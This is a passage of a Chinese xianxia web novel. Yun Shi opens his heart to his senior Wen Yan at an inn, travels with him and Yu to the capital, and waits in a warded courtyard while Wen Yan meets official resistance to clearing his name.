温言没有退开,也没有进一步的动作。他就维持着这个略显亲昵的倾身姿态,耐心地等待着,仿佛在欣赏云实罕见的、全然失措的模样。房间里的空气仿佛停止了流动,变得稠密而滚烫,每一寸都浸满了未尽的言语和呼之欲出的东西。油灯的光将两人几乎重叠的影子投在墙壁上,模糊了界限。 这份寂静不再令人不安,云实的不是滋味在这令人窒息般的靠近和注视下,早已被冲刷得七零八落,取而代之的是一种更汹涌、更陌生的战栗。 温言看着他眼中清晰的慌乱,那愉悦的笑意更深地浸入眼底。他知道自己有些逾矩了,但这感觉……不坏。 云实的喉咙干得发痛,试了几次,才挤出一句破碎的话:“前辈……” 这一声称呼,在此时此刻,显得无比生疏又怪异。 温言似乎轻笑了一下,气息极轻地拂过。他终于稍稍向后,拉开了寸许距离,那令人窒息的压迫感略减,但目光依旧锁着他。 “现在知道叫前辈了?”温言的语调恢复了些许平时的平稳,却浸着未散尽的温缓,像冰层下流动的暖水,“方才剖白的时候,怎么不想着礼数?” 云实脸上滚烫,狼狈地低下头,又忍不住飞快地抬眼偷瞥他。温言脸上那点笑意未散,在灯光下格外清晰,让他心跳得更乱。他忽然意识到,温言是故意的。故意靠近,故意用那种眼神看他,故意搅乱他一池心绪。 “……是您让我说实话。”云实闷声道,带着点不易察觉的委屈和豁出去的倔强。 “是,我说的。”温言从善如流,指尖无意识地在光洁的桌面上点了点,那是一个放松又带着思考意味的小动作,“所以,你的实话,我收到了。” 他顿了顿,目光在云实紧握的拳和低垂的眼睫上扫过,语气放缓,带着一种引导般的耐心:“云实,看着我。” 云实挣扎了一瞬,终究还是慢慢抬起了头。 “差距是存在的,我不会否认。我能给你的帮助、庇护,甚至你担心的‘关注’,都建立在这差距之上。”温言的声音很清晰,每个字都像小石子投入云实心湖,“但这份心思,与这些无关。它属于你,也只关乎你我之间。我无法承诺永远将你置于首位,那既不现实,也非你真正所需。但我可以告诉你,今日你所言,你所虑,你所惧……我记下了。你在我这里,并非随时可以替代的‘众人之一’。” 这份承诺像定心锚一样,稳住了云实翻腾的心绪。温言没有嘲笑他的痴心妄想,没有轻佻地给予无法兑现的保证,而是承认了他的感受,并给予了力所能及的、郑重的回应。 那空落落的感觉,被这几句话一点一点填上了某种实在的东西。不是虚妄的幻想,而是一种被看见、被慎重对待的安心。 云实望着温言近在咫尺的、神情专注的脸,胸腔里那股横冲直撞的慌乱和悸动,慢慢沉淀下来,化成一股温热的、缓缓流动的暖意。他忽然不那么怕了。 “……嗯。”他低低应了一声,声音还有些哑,却平稳了许多。 温言看着他渐渐松弛下来的肩膀和眼中重新凝聚的焦点,眼底那抹愉悦终于缓缓沉淀,化为一种更深邃的平和。他直起身,彻底恢复了两人之间平常的距离,但气氛已然不同。那层无形的、因差距和猜疑而存在的薄冰,似乎在刚才的对话里悄然融化了一角。 “夜很深了。”温言看了一眼窗外的浓黑,“明日还要赶路,休息吧。” 云实点了点头,这一次,他没有再沉浸在自我较劲的思绪里。他吹熄了油灯,在黑暗中摸索着躺到自己的铺位上。房间里重新被寂静笼罩,但这份寂静不再冰冷难熬。 隔壁予的房间毫无动静,远处隐约传来夜鸟的啼鸣。云实闭着眼,能清晰地听到另一张床上,温言舒缓悠长的呼吸声。那声音像是一种无形的陪伴,熨帖着他方才经历了一场无声风暴的心。 他不再去纠结“特别”与否,也不再焦虑那巨大的差距。温言说得对,有些心思,属于自己,也只关乎彼此之间。至少今夜,他掏出了那颗忐忑的心,而对方,稳稳地接住了。 睡意渐渐袭来。在沉入梦乡的前一刻,云实模糊地想,前路或许依旧莫测,但身边有这样一个能让他说出“害怕”、并且认真回应这份害怕的人同行,似乎……真的不再那么令人畏惧了。 夜色温柔,包裹着客栈中这间不再寻常的客房,也将两颗在漫长孤寂后,偶然靠近、试探触碰的心,轻轻拢在了一起。 15. 【十三】 夜的确很深了。 云实躺在坚硬的木板床上,身下是客栈浆洗得发硬却干净的粗布床单。眼睛闭着,却了无睡意。隔壁予的房间早已无声,整座客栈沉入疲惫的酣眠,唯有他胸腔里那颗心,还在不合时宜地、重重地敲着鼓点,一声声,撞得耳膜发疼。 温言的话像用烧红的烙铁,在他混沌一片的心上清晰地烫下了一个印记。高兴吗?是的。有一股细细的、滚烫的甜意,不受控制地从心底最深处涌上来,冲刷着之前那些自惭形秽的冰冷和焦虑。 一种近乎眩晕的暖流包裹住他。他从未被人如此郑重地看见过。 这感觉太好,好得不真实,好得让他……害怕。 他怕什么?怕这不过是温言一时兴起的施舍,怕明日醒来,温言又恢复那副公事公办、滴水不漏的模样,今夜一切如同露水般蒸发无踪。更怕的是,自己会因此生出更多不切实际的妄想,会变得更加贪心,会想要更多——更多关注,更多特殊,更多……他不敢细想的东西。 一旦到了京城,温言回归他的世界,接触到他那个层面的人和事,自己这点微不足道的“特别”,会不会立刻被对比得灰飞烟灭? 予……想到予,云实心里那点甜涩交织的混乱里,又掺进一丝复杂的滋味。予的坦然大方,予与温言交谈时的自然,甚至予接受新衣时那理所当然的欢喜,都让他感到一种无形的压力。那是一种他学不来也羡慕不来的、属于“那个世界”的从容。温言对予的照顾,周到而寻常,带着一种处理“常规事务”的流畅感。而对自己……今夜这番对话,显然已超出了“常规事务”的范畴。这让他高兴,也让他更加不安。这份“超出常规”,是福是祸? 他翻了个身,木板床发出轻微的嘎吱声。屏息聆听,另一张床上,温言的呼吸声依旧悠长平稳,似乎已然入睡。这让他稍稍松了口气,却又莫名有些失落。自己在这里心潮翻涌,难以自持,对方却似乎……并未受到同等程度的扰动。 就在他以为温言已经沉睡时,黑暗中,温言的声音忽然响起,低沉清晰,毫无睡意。 “睡不着?” 云实身体一僵,仿佛做坏事被当场捉住。他含糊地“嗯”了一声。 “在想什么?”温言问得很自然,仿佛只是随口一问。 云实沉默。能说在想您吗?在想您说的话是真是假,能持续几时?在想自己是不是痴心妄想?这些话,他如何说得出口。 “没什么,”他最终只是干巴巴地回答,“可能……快到京城了,心里有些乱。” 这话半真半假。 黑暗中,温言似乎轻笑了一下,很轻,几乎被夜的气息吞没。 “不全是吧。” 云实心头一跳。 “云实,”温言的声音在寂静中流淌,不疾不徐,“我知你心思重,惯于权衡,亦惯于将事情往坏处想。这是你的生存之道,无甚不对。” 云实抿紧唇,没有否认。 “但今夜之言,非是宽慰,更非戏言。我予你帮助,最初确有职责与观察之故。但你我同行至此,荒村共探,夜话交心,若仍只以公务或投资视之,便是我矫情虚伪了。” 云实呼吸微微屏住。 “你担心差距,担心我今日之言明日即忘,担心予的出现会让你相形见绌,更担心自己会因这份‘特殊’而生出不该有的期盼,最终落得一场空。”温言的声音平静无波,却字字句句敲在云实话心坎上,“是也不是?” 云实喉咙发紧,在黑暗中睁大了眼,仿佛能看见温言那双仿佛能洞悉一切的眼眸。他无法反驳,因为温言说的,分毫不差。 “……是。”他艰难地承认,声音沙哑。 “那么,我告诉你,”温言的语气没有丝毫变化,却带着一种沉甸甸的分量,“差距是现实,无法抹去。我无法承诺未来事事以你为先,那既不实际,也非你所愿——你寻求的,也并非依附。至于‘特殊’……它并非我赐予你的标签,而是你本身带来的、于我而言的‘不同’。这份‘不同’,不会因出现一个予,或十个予,便轻易改变。” “至于期盼……”温言的声音似乎更低了些,融在夜色里,有种诱人沉沦的魔力,“人心有所期盼,再正常不过。关键在于,能否承受期盼落空的风险,以及……是否清楚自己期盼的究竟是什么。” 他抛出了一个问题,一个云实自己都未必能回答的问题:“云实,你期盼从我这里,得到什么?或者说,你期盼你我之间,是一种怎样的……关联?” 不是施舍与接受,不是庇护与被庇护,而是“关联”。这个词用得太微妙,太留有余地,也太令人心慌意乱。 云实彻底乱了。他期盼什么?一开始,他只期盼一条活路,一个变强的机会。后来,他期盼温言的信赖和指点。再后来……他开始期盼温言的目光能多停留片刻,期盼自己那些乱七八糟的心思能被理解,甚至……期盼能像今夜这样,在寂静黑暗中,分享一些超越身份与修为的、近乎私密的话语。 他想要一种……更近的,更真实的,更稳固的联结。不仅仅是指引者与被指引者,不仅仅是监察使与协查人。但他不敢说出口。这期盼太奢侈,太逾矩。 “我……我不知道。”他最终只能给出这个苍白无力的答案,带着懊恼和一丝不易察觉的委屈。 温言沉默了片刻。这沉默并不让人难熬,反而像是一种包容的等待,等待他消化那些直指人心的话语。 “不知道也无妨。”温言的声音重新响起,柔和了些许,“时间还长,路也还长。你可以慢慢想,慢慢看。只需记得,今夜之言,出自吾心。我并非轻诺之人,既已出口,便不会当作从未发生。” 云实心中那翻腾的惊涛骇浪,在这平静而有力的话语中,渐渐平息下来,化为一种缓慢而深沉的悸动。高兴吗?当然。温言承认了他的“不同”,肯定了他的感受,甚至给了他“慢慢想”的奢侈。担心吗?依然。前路莫测,差距如山,这份刚刚确认的“关联”能经受住多少风雨,他毫无把握。害怕吗?是的。他害怕自己会越来越贪恋这份特殊,害怕终有一日会难以承受失去的风险,害怕自己根本配不上这份郑重。 但奇异的是,当这些复杂的情感——高兴、担心、害怕——交织在一起,不再彼此冲撞,而是缓缓沉淀时,竟生出了一丝前所未有的踏实感。仿佛在茫茫大海上飘荡已久,终于抓住了一块虽不庞大、却异常坚实的浮木。他知道海浪依旧凶猛,前路依旧迷茫,但至少此刻,他有所凭依。 “我……记住了,前辈。”云实低声说,这一次,“前辈”两个字喊出口,不再有之前的生疏和刻意,反而带上了一种复杂的、亲昵的依赖。 “睡吧。”温言的声音里,那丝极淡的愉悦似乎又隐约可闻,“养足精神。予虽跳脱,并非恶类,明日路上,或许还需你多留意周遭。” “是。”云实应下,这次,他真正闭上了眼睛。 呼吸渐渐平稳,与另一张床上悠长的气息隐约应和。窗外的夜色,浓得化不开,却不再令人感到窒息。云实在沉入梦乡的前一刻,模糊地想,原来剖白心迹之后,不一定是得到或失去,也可能只是……将一条看不见的线,轻轻地、却牢固地,系在了彼此的手腕上。线的那一头,是温言平静深邃的眼眸;线的这一头,是他自己依旧忐忑、却不再全然无依的心。 夜,在一种全新的、微妙的平衡与默契中,悄然流逝。 翌日清晨,天光透窗。云实醒来,先是习惯性地警觉四周,随即看向温言的床铺——空空如也,被褥整齐。 他心头刚下意识一紧,房门便被推开。温言端着放有清粥小菜的木盘走了进来,青衫整洁,神色如常。 云实却一下子愣住了,几乎是从床上弹起来,困意全消。 “前、前辈?!”他目光落在温言手中的托盘上,又飞快地移回温言脸上,满是错愕和不安,“这……这等琐事,怎敢劳烦前辈!应该我去张罗才是!” 他手忙脚乱地起身,想去接那托盘,又觉得不妥。 温言看着他手足无措的样子,神色未变,只平静地将托盘放在桌上。 “无妨,顺手而已。予已在楼下,你洗漱后用饭,我们便出发。”他的语气寻常得像在说今日天气,仿佛给同伴带份早饭是再自然不过的事。 但云实哪能觉得自然。他站在原地,看着桌上冒着热气的简单饭食,又看看温言已经转身去整理行囊的背影,胸口堵着一团说不清道不明的情绪。 他不敢深想这“顺手”背后意味着昨夜对话多少残余的温度,只能用力压下翻腾的心绪,低低应了声“是”,近乎仓促地转身去洗漱。 冰凉的水扑在脸上,稍微冷静了些。他默默吃完温言带来的粥菜,味道寻常,却因来源不同,每一口都仿佛带着灼人的温度。两人之间依旧没有太多话,但云实能感觉到,温言那份平静之下,有一种默许的安定力量,将他方才的惶恐不着痕迹地抚平了。 收拾完毕下楼,予果然已经在大堂等着,新衣整洁,东张西望,看见他们立刻笑着挥手:“温前辈!云实!这边!” 直接喊了名字,自然又熟稔。云实冲他点了点头,没多言。予的活泼和温言的平静形成了鲜明对比。 三人上路,予的话匣子打开就关不上,对沿途一切都充满好奇。温言多数时间只是听着,偶尔简短回应,目光时刻留意着周遭。云实沉默地跟在温言身侧,保持警惕,但眼角余光总不由自主地掠过温言的侧影。 他仔细观察温言与予的互动。温言对予的态度是明确的——温和、有耐心、解答疑问,但那种温和里带着清晰的上下界限和距离感,是前辈对后辈的照拂,也是上位者对暂时同行者的基本礼貌。这与昨夜和自己之间,那撕开层层身份隔膜、近乎危险的直白探问与回应,截然不同。 这份清晰的差异,让云实心头那点隐秘的甜意,混合着更加剧烈的忐忑,再次缓缓弥漫开来。他像怀揣着一块不该属于他的暖玉,既贪恋那温度,又时刻害怕它会碎裂或被人夺走。温言的“特殊对待”是真实的,但也因此,成了他新的焦虑源头。他不断告诫自己,要清醒,要恪守本分,不能因这点不同就忘了云泥之别,忘了自己的处境。 予似乎注意到云实格外沉默,凑近了些,大大咧咧地问:“云实,发什么呆呢?是不是嫌我吵?” 云实收回思绪,看了予一眼。予的眼神干净直率,带着单纯的关心。 “没有。”他摇摇头,“在想快到京城了,有些事。” “嗨,车到山前必有路!”予乐观地一挥手,目光崇拜地看向前方的温言,“再说有温前辈在呢,肯定稳当!” 云实也看向温言的背影。青衫挺直,步伐稳定,的确给人无言的可靠感。但这可靠如今于他,已复杂难言。他依仗这份可靠,却也因这份可靠给予的“特殊”而患得患失。他走在温言身后,仿佛走在一道温暖却模糊的光晕边缘,既被其庇佑,又担心下一步就会踏空,坠回冰冷的现实。 又经过一段时间,一行三人总算到了京城。 京城。 当那座盘踞在广阔平原尽头、墙垣高耸入云、望楼如林般刺向天际的巨城轮廓,终于真切地横陈于眼前时,连一向跳脱的予都短暂地失了声。那不是镇,不是集市,是活着的、呼吸着的庞然巨物。城墙是用某种泛着青灰色的巨型条石垒砌,厚重得仿佛自天地初开便已存在,上面布满风雨和灵力冲刷留下的斑驳痕迹,却又在阳光下流转着无数细微符文的光泽,无声诉说着其坚不可摧与深不可测。城门洞开,吞吐着密密麻麻如蝼蚁般的人流车马,喧嚣声浪即使相隔数里也隐隐传来,混杂着尘土、香料、金属、灵材以及无数难以辨别的复杂气息。 这就是帝国的中枢,权力与规则交织的核心,也是无数野心、机遇与危险汇聚的漩涡。 温言在城外一处供旅人短暂歇脚的茶棚前停下脚步。他没有立刻进城,而是转身看向云实和予,神情是惯有的平静,但目光比往日更显沉凝。 “京城已到。”他先对予说道,语气温和却带着交代的意味,“按我们路上所议,你先在此落脚,熟悉环境,莫要惹事,也莫要轻易泄露出身。”他递过去一个不起眼的布囊,里面除了些许银钱,还有一枚小小的、刻着简易防护符文的木牌,“这是临时栖身之所的钥匙与地址,租金已付三月。记住位置,轻易莫要告知他人。” 予接过布囊,脸上兴奋之色稍敛,用力点头:“温前辈放心,我晓得轻重!肯定不给您和云实添麻烦!”他拍了拍胸脯,又看向云实,咧嘴笑道,“云实,那你呢?温前辈肯定有更紧要的安排给你吧?咱们安顿下来再碰头!” 云实点了点头,心中明白,予的安排已是温言考量后的结果。一个来历清楚、暂无麻烦的两仪相生殿前弟子,在京城底层小心谋生,并非难事。而自己…… 果然,温言的目光落回云实身上,那目光里多了几分不易察觉的审慎。 “云实,”他声音压低了些,仅限三人可闻,“你的情况特殊。天衡宗的缉令虽未广布于市井,但京城耳目繁杂,各宗各司皆有联络,难保没有疏漏。与予同住,风险依然不小。” 他顿了顿,似在斟酌言辞,最终道:“我府中……尚有闲置客院,且阵法禁制齐全,等闲探查难以渗透。在你身份未有明确转圜之前,暂住我处,更为稳妥。” 云实下意识想开口,想说这太冒险,想说这不合适,但撞上温言那双沉静却坚决的眼眸,所有推拒的话都堵在了喉咙里。 予显然也明白了其中的关窍,他眨了眨眼,看着温言,又看看云实,脸上露出恍然又夹杂着些许羡慕的神情,但很快便笑道:“还是温前辈考虑周全!那云实你就跟前辈去吧,安全第一!咱们回头再联系,我肯定先把地盘摸熟!” 事情就此定下。温言先领着予,穿行过京城外廓纷乱嘈杂的棚户区与集市,找到了那处位于深巷尽头、院墙低矮但还算干净整洁的小院。予倒是很满意,兴致勃勃地开始规划如何布置他这第一个属于自己的“窝”。安顿好予,温言没有多留,只嘱咐他遇事可凭那木牌去坊间某处指定的杂货铺递话,便带着云实离开。 两人没有再乘坐任何车马,温言带着云实,看似随意地穿行在越来越宽阔平整的街巷中。越往内城方向,街面越发整洁,行人衣饰也渐趋光鲜,空气中浮动的灵气似乎都浓郁了些许。巡城的甲士步伐整齐,目光锐利;偶尔有装饰华贵的车驾驶过,拉车的甚至是非凡灵兽。楼阁殿宇的制式也越来越规整大气,透着无形的威严。 云实沉默地跟在温言身后半步,尽量收敛气息,降低存在感。他背上的柴斧用粗布裹得严实,看上去像个不起眼的随从或护卫。但身处这帝国心脏,感受着无处不在的秩序感和隐隐的压力,他深知自己与这里是何等格格不入。温言的府邸,又会是何等光景? 约莫走了小半个时辰,温言在一处街角停下。前方是一条更为清静的街道,两旁多是高墙深院,门庭规制不一,但皆透着不凡。温言府邸并非最显赫的,黑漆大门略显低调,门楣上悬着的匾额只刻着一个笔力遒劲的“温”字,并无多余官职标注。门旁有两尊石兽,形态古朴,目光却似有灵性般扫过走近的二人。 温言上前,指尖溢出一点微不可查的灵光,没入门环。大门无声地向内滑开一道缝隙。他侧身示意云实进入。 门内并非云实想象中的奢华庭院,反而显得颇为简素。入门是一道影壁,绕过影壁,眼前是一个不算太大、但布局精巧的庭院,栽种着些耐寒的松竹与兰草,石板小径通往正厅与两侧厢房。院落干净整洁,一尘不染,却少了些烟火人气,透着一种主人不常居此的冷清。 “我平日多在衙署或四明宗别院,此处只是偶尔落脚。”温言引着云实穿过庭院,走向东侧一处相对独立的偏院,“这处客院久无人住,但日常用物齐全,阵法也已开启,可隔绝内外气息神识探查。你暂且在此安身,若无必要,不要随意出院。一应饮食用度,我会安排可靠之人送来。” 偏院果然小巧安静,一明两暗的格局,家具陈设简单实用。温言亲自检查了屋内阵法核心,确认运转无误,又留下几套换洗衣物和些许日常用度的银钱。 “山魈一案,我需立即前往相关衙署汇总线索,正式呈报。此外,尚有其他公务亟待处理。”温言站在院中,对云实交代,“你在此处,首要之事是静心,稳固修为,莫要急躁。关于你身份之事,我已有计较,但需时机与运作,急不得。予那边,你暂不必联系,以免横生枝节。若有急事……” 他略一沉吟,从袖中取出一枚质地温润、形似柳叶的碧色玉符,递给云实:“此乃特制传讯符,仅你我之间可用。非十万火急,勿动。寻常需用,或觉有异,可触动屋内阵法此处节点,”他指了指堂屋门楣内侧一个极不显眼的凹痕,“我自会知晓。” 安排得细致周全,几乎考虑到了所有可能。云实接过那枚微凉的柳叶玉符,握在掌心,心中五味杂陈。有安心,因为这的确是眼下最稳妥的藏身之所;有感激,温言为他冒的风险和费的心思,他体会得到;更有一种沉甸甸的、近乎窒息的压抑——他像一件被妥善收藏起来的危险物品,只能等待,只能依赖。 “多谢前辈周全。”云实低头,郑重道。 温言看着他,目光在他紧抿的唇线和微蹙的眉间停留了一瞬,似乎想说什么,但最终只是几不可闻地轻叹一声,抬手,似乎想如往常般拍拍他的肩,指尖在空中顿了顿,却只是拂去了自己袖口并不存在的微尘。 “既来之,则安之。京城虽大,规矩虽严,却也未必没有转圜之机。”温言的声音恢复了平日的平稳,“我先去衙署。你……好生休息。” 说罢,他不再停留,转身离去,青衫身影很快消失在院门外,只留下云实一人,站在陌生而寂静的小院中。 院门无声闭合,阵法流转,将内外隔绝成两个世界。京城喧嚣似乎瞬间远去,只剩风吹过庭中竹叶的沙沙轻响。云实慢慢走回屋内,关上门,背靠着冰凉的门板,缓缓滑坐在地上。 怀里的柳叶玉符贴着胸口,残留着温言的体温与气息。他握紧斧柄,粗粝的木柄带来些许真实感。从青石镇到天衡宗,从大自在天到荒村,再到这帝国京城深巷之中的小小院落,一路颠沛流离,挣扎求生,如今竟以这种方式,暂时停下了脚步。 等待。隐匿。依赖。 他闭上眼,将额头抵在屈起的膝盖上。予此刻大概正在他那小院里兴奋地规划未来吧?而自己,却只能藏身于此,如同阴沟里的鼠,等待上方之人的安排与救赎。 等待便等待吧。他也需要时间,梳理这一路所得,消化体内那枚异丹与乱力,让自己……变得更强。强到有朝一日,或许不必再如此藏匿,不必再将全部希望系于一人之身。 …… 小院被阵法彻底隔绝,外界的声音与气息都被滤去,只剩下风吹过竹叶的单调沙沙声,以及日升月落投在窗棂上的、规律移动的光斑。云实每日的生活简化为打坐、研习温言送来的基础功法玉简、进食、以及对着庭院一角灰色的天空出神。 温言送来的东西很实用,不奢华,却都是云实眼下最需要的:几本讲解灵力精细操控和基础阵法辨识的玉简,一些品质中正平和的固本培元丹药,几套换洗的结实布衣,还有足够他一人生活数月的银钱和米粮。东西都是通过阵法一个特定的传递口送入,云实从未见过送东西的人。温言本人,自那日分别后,也再未现身。 起初几天,云实还能沉下心,如饥似渴地吸收那些系统性的知识,填补自己野路子修行的诸多漏洞。他对乱力的掌控,在理论指引和安静环境下,确实更显精细,体内异丹的躁动也被温言留下的某种调和法诀平复了不少。但日复一日的绝对安静与隔绝,渐渐变成了一种无形的煎熬。没有对手,没有危机,甚至没有可以交谈的人,他感觉自己像一株被挪进暖房的野草,虽然安全,却在缓慢失却风雨磨砺出的韧性与生机。跃迁期的门槛似乎就在眼前,但他缺乏那临门一脚的契机与压力。单纯的积累,在这里仿佛碰到了看不见的瓶颈。 打破这潭死水的,是予的突然到访。 那是一个午后,云实正尝试将“乱”力凝聚成极细的一线,去感应院内阵法最细微的流转波动,院门处的阵法忽然传来一阵独特的、轻微的涟漪。 云实收敛气息,悄然靠近院门。透过门缝,他看到予那张笑嘻嘻的脸,正凑在门外。 “云实!是我!快开门,温前辈准我来看你的!”予的声音压得很低,却透着兴奋。 云实迟疑一瞬,回想起温言确实提过予知道此处,且予有那枚联络木牌。他依着温言教过的方法,暂时在阵法上打开仅容一人通过的缝隙。 予像条灵活的泥鳅般钻了进来,回身看着阵法光芒重新闭合,才长长舒了口气,脸上满是新奇地打量着小院:“哇……这就是温前辈家的客院?真气派!安静!真好!” 云实引他进屋。予放下手里提着的油纸包,里面是还冒着热气的卤肉和烧饼,香味顿时驱散了屋内的清冷。“给你带的,老刘记的,可香了!我那边弄不到这么好的伙食,也就这能拿得出手了。” 云实听了,暗自咋舌。这数目他得掰着指头算——在青石镇,上好的白米不过五六文钱一斗,肉价看时节,肥瘦相间的猪肉通常三十文左右一斤。父亲店里扯一匹结实的粗布,够给全家做换季衣裳,连带工钱也不过三四钱银子。家里五口人,一个月精打细算下来,米面菜肉、油盐酱醋、弟妹的纸笔零花,再加上店里必要的线料杂项,满打满算也就八钱银子出头,还能略有盈余应付人情往来。这一两二钱银子,在青石镇,实实在在就是一家五口一个半月稳稳当当的嚼谷,还能给妹妹云舒攒下点买新头绳的闲钱。 “云实,你别担心我!”予看出他神色,连忙摆手,脸上又露出那种混不吝的乐观,“这里工钱也高啊!省着点花,还能攒下些呢!再说了,有温前辈关照,我已经比别人强太多啦!你是不知道,外面想找个安稳又便宜的住处有多难……”他顿了顿,压低声音,眼里闪着光,“你这地方真好,又安全又清净,修炼起来肯定事半功倍吧?温前辈对你可真没得说。” 云实扯了扯嘴角,没接这话。他问起予在外面是否听到什么风声,关于天衡宗,或者关于北地荒村案的。予摇摇头:“那种大事,哪是我这种小人物能听说的?码头上来往的商队修士倒是有议论北边好像出了什么乱子,死了不少人,官府查得严,但具体就不清楚了。京城嘛,每天新鲜事多了去了。” 予待了约莫半个时辰,留下卤肉烧饼,又叮嘱云实安心修炼,便匆匆走了,他还要赶去货栈上工。小院重归寂静,但空气中似乎残留了一丝属于外界的、鲜活又粗糙的气息。云实看着那包卤肉,心中滋味复杂。予在努力地、充满希望地活着,而他,却只能困守于此,等待命运的宣判。 温言的消息,是在予到访后的第三天夜里传来的。 依旧没有现身,只有一枚加密的传讯玉简,通过阵法传递口送了进来。 云实激活玉简,温言平静却难掩疲惫的声音直接在他脑海响起,比往日更加简练: “云实,有几件事需告知你。” “第一,荒村案已正式立案,线索与证据已提交,‘影市’及匠师追查由专司负责,王巡检已被秘密控制。你在此案中的贡献,我已记录在案。” “第二,关于你身份之事……遇到些阻力。”温言的声音在这里停顿了片刻,似乎在斟酌措辞,“我已按计划,数次向上呈报,将你定性为苏妄邪术受害者,灵根变异为具有特定潜力的罕见情况,并建议转为协查观察对象,由我接管。” “但……”温言的语气里透出一丝罕见的凝重与冷意,“上报被数次驳回,并非基于律条瑕疵,也非证据不足。质询焦点在于,我是否‘过早介入并藏匿关键涉案人员’。上层……似乎更在意你知晓并传播不当言论本身,急于将你置于完全掌控之下,甚至……不愿接受受害者与潜在价值的定性。我据理力争,言明你目前状态稳定,且对后续追查苏妄及类似灵力污染事件有不可替代作用,但……效果有限。” 玉简中的声音沉默了片刻,才继续道:“他们并非针对你个人,至少不全是。你的灵根与言论,触及了某些……不容置疑的底线。体系的惯性是消除不稳定因素,而非区分其善恶或潜力。我的上报,在他们看来,或许更像是一种……带有个人倾向的辩护。” “目前,你的缉令性质变更与协查身份授予,暂时搁置。但你藏身于此的消息并未泄露,安全无虞。我已另辟蹊径,尝试通过其他渠道与案件关联,为你争取一个‘戴罪立功’或‘特事特办’的窗口,但这需要时间,也需要……一个合适的契机。” “修炼勿辍,但不必急于求成,尤其勿强行冲击跃迁。缺乏实战与心境淬炼,强行破关隐患极大。所需资源,我会照常供给。” “安心等待。京中局势复杂,我需更谨慎周旋。予那边,我已提点,他会定期以送东西为名与你通气,但莫深谈。保重。” 玉简的光芒黯淡下去。 云实坐在黑暗中,一动不动。温言话语中透露的信息,像冰冷的钢针,一根根刺入他刚刚因安定生活而稍有松懈的神经。 温言的分析,与他之前的体悟,与苏妄的嘲讽,完全印证。这个体系,对于敢于质疑其根基的“病毒”,有着本能的、毫不留情的排异反应。温言试图在规则内为他争取一个“特例”或“工具”的身份,但体系的上层,连这样的“收编”都显得警惕和不情愿。他们想要的,或许只是彻底的掌控,甚至……抹除。 温言说他“没犯什么错,只是单纯触动了某些上层利益”。现在看,岂止是“某些利益”,他触碰的是这个修行世界赖以存在的“神圣叙事”本身。他的存在,就是一根刺。 一股寒意从脊椎骨窜起,混合着对温言的担忧,以及更深重的无力感。温言为他奔波周旋,甚至可能因此承受压力与非议,而结果却如此艰难。自己躲在这方小院里,看似安全,实则命运依旧悬于一线,系于温言一人的手腕与那些冰冷上位者难以揣度的心思之上。 他走到窗边,推开一条缝。京城夜晚的天空被各种阵法与灯火映照得泛着微光,看不见星辰。那光芒不属于他,那繁华与权力也与他无关。他只是一个躲藏在光芒阴影之下的、不被欢迎的“异类”。 修炼?没有实战和际遇的修炼,如同无源之水。变强?在这隔绝的院落里,他能变多强?强到足以对抗那庞大的、欲将他吞噬的体系吗? 云实攥紧了拳头,指甲陷入掌心。予为了一处陋室和一份苦工奔波忙碌,羡慕他的“好地方”。而他,坐在这“好地方”里,却感到前所未有的窒息与焦虑。 温言让他安心等待。可他如何能安心? 他知道温言已竭尽所能,甚至可能因此涉险。这份认知让他心中的感激与那份隐秘的依赖,变得更加沉重,也让他对自己这种无能为力的状态,生出更强烈的厌恶。 他回到蒲团上坐下,却没有立刻入定。温言传来的基础功法玉简散落在旁,那些系统性的知识,此刻看来,似乎都蒙上了一层属于这个“体系”的、冰冷的光泽。 他闭上眼,不再试图去感应什么阵法流转,而是将意识沉入体内。 如果外界之路被堵死,如果体系的规则不容他。那么,他唯一能依靠和探索的,或许只剩下这与生俱来的力量。 日头爬过墙头,在青砖地上投下规整的、缓慢移动的光斑,一丝风也没有,连墙角那几丛半死不活的兰草都懒得摇曳。云实坐在石凳上,掌心托着一块温言留下的中品灵石,灵石泛着柔和均匀的光,灵气稳定而持续地流淌出来,顺着他的引导,试图渗入那枚沉寂在丹田深处。 内丹毫无反应。不,也不能说毫无反应,它像一块被扔进温吞水里的顽石,灵气流经它,如同溪水流过鹅卵石,带不起半分涟漪,反而被它那固有的、微弱却顽固的乱意搅得有些滞涩。云实尝试了无数次,结果总是如此。这院落被精妙的阵法包裹着,隔绝了窥探,也滤掉了外界灵气的自然起伏。这里太“干净”了,干净到没有一丝意外的扰动,没有市井的嘈杂意念,没有天气骤变的无常,甚至没有草木奋力挣扎生长时那股子蛮劲。他的“乱”灵根,在这里像离了水的鱼,徒劳地张合着鳃。 他放下灵石,拿起靠在桌脚的柴斧。他起身,在方寸之地的院落中央,拉开架势,演练起一套最基础的劈砍动作。没有目标,没有风声,只有斧刃划破凝滞空气的微弱嗤响。动作是标准的,甚至因为日复一日的重复而带上了几分流畅,但云实心里清楚,这是空的。真正的乱,不是招式,是心念引动环境,是自身那股不甘、挣扎、乃至破坏的意志与外界无常的共鸣。在这里,他的意志被安全的围墙磨钝了,外界更是一片死寂的秩序。练了不到一刻钟,他便感到一阵虚浮的疲惫,不是身体累,是心气儿泄了。他颓然收势,斧头拄地,望着头顶被屋檐切割成四方的、湛蓝得毫无瑕疵的天空。 温言第一次把糖炒栗子放在石桌上时,云实愣了很久。油纸包散发着焦糖和坚果混合的、粗粝而温暖的香气,与院子里常年弥漫的、清淡的檀香和灵气气息格格不入。栗子壳油亮,还烫手。 “顺路买的。”温言说,他今天穿着常服,而非四明宗监察使那身略显冷硬的袍服,眉宇间也少了些公务缠身的紧绷,但眼底的审视依旧存在,“栖霞镇往北三十里,有个野集,这东西炒得最好。听说……你老家那边也兴吃这个?” 云实捏起一颗,指甲用力掐开褐色的硬壳,露出金黄的果肉。家乡……青石镇外的小集市,父亲偶尔收摊早,也会买上一包,捂在怀里带回家,他和弟弟妹妹抢着剥,弄得满手黑灰。那香气,混杂着布料淡淡的染料味和炊烟的气息。他默默把栗子肉放进嘴里,甜糯温热的口感在舌尖化开,某种坚硬的东西仿佛也跟着裂开了一条缝。 “是,”他低声说,咽下那口甜,“多谢。” 温言也在对面坐下,也拿起一颗栗子,剥壳的动作斯文却利落,“把这里当自己家就好。” 那之后,温言来的次数明显多了。间隔从三五日,缩短到隔日,有时甚至连续几天都来。理由各种各样,或者什么理由也没有。 那次深夜,月已挂在中天,清辉如练,却洗不净京华沉淀的厚重暮气。院门被轻轻推开时,带进来一阵微凉的夜风,还有一股比夜风更清晰的、若有似无的酒气。云实正盘坐在屋内蒲团上,闻声抬头,便见温言的身影斜倚在门框上,罕见的不是笔直挺拔。 